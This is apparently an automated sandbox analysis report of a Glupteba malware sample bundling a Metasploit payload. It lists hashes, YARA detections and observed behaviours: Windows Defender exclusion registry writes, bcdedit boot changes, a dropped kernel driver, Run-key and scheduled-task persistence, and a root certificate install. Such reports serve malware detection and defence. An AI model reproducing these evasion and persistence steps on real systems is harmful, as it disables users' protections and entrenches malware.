Analysis
-
max time kernel
144s -
max time network
143s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
03-07-2022 04:40
Static task
static1
Behavioral task
behavioral1
Sample
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
Resource
win10v2004-20220414-en
General
-
Target
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe
-
Size
3.8MB
-
MD5
3220237e0b04e7aa65b106855898b5d8
-
SHA1
fac56baf9d932d019a0ffdf3fad20b5b6d08f82c
-
SHA256
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43
-
SHA512
76211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 7 IoCs
Processes:
resource yara_rule behavioral1/memory/388-56-0x0000000003BA0000-0x00000000043A2000-memory.dmp family_glupteba behavioral1/memory/388-57-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba behavioral1/memory/388-58-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba behavioral1/memory/644-64-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba behavioral1/memory/644-69-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba behavioral1/memory/576-72-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba behavioral1/memory/576-82-0x0000000000400000-0x000000000334E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\BlackField = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1892 bcdedit.exe 1568 bcdedit.exe 1080 bcdedit.exe 2044 bcdedit.exe 1416 bcdedit.exe 976 bcdedit.exe 980 bcdedit.exe 1916 bcdedit.exe 1316 bcdedit.exe 1116 bcdedit.exe 2028 bcdedit.exe 1180 bcdedit.exe 620 bcdedit.exe 1936 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exedsefix.exepid process 576 csrss.exe 1684 patch.exe 1532 dsefix.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Loads dropped DLL 12 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exepatch.execsrss.exepid process 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe 880 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 576 csrss.exe -
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\BlackField = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe = "0" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Windows\CurrentVersion\Run\BlackField = "\"C:\\Windows\\rss\\csrss.exe\"" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe File created C:\Windows\rss\csrss.exe 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe File created C:\Windows\Logs\CBS\CbsPersist_20220703050701.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1716 schtasks.exe 1520 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe -
Processes:
csrss.exepatch.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f9705070474111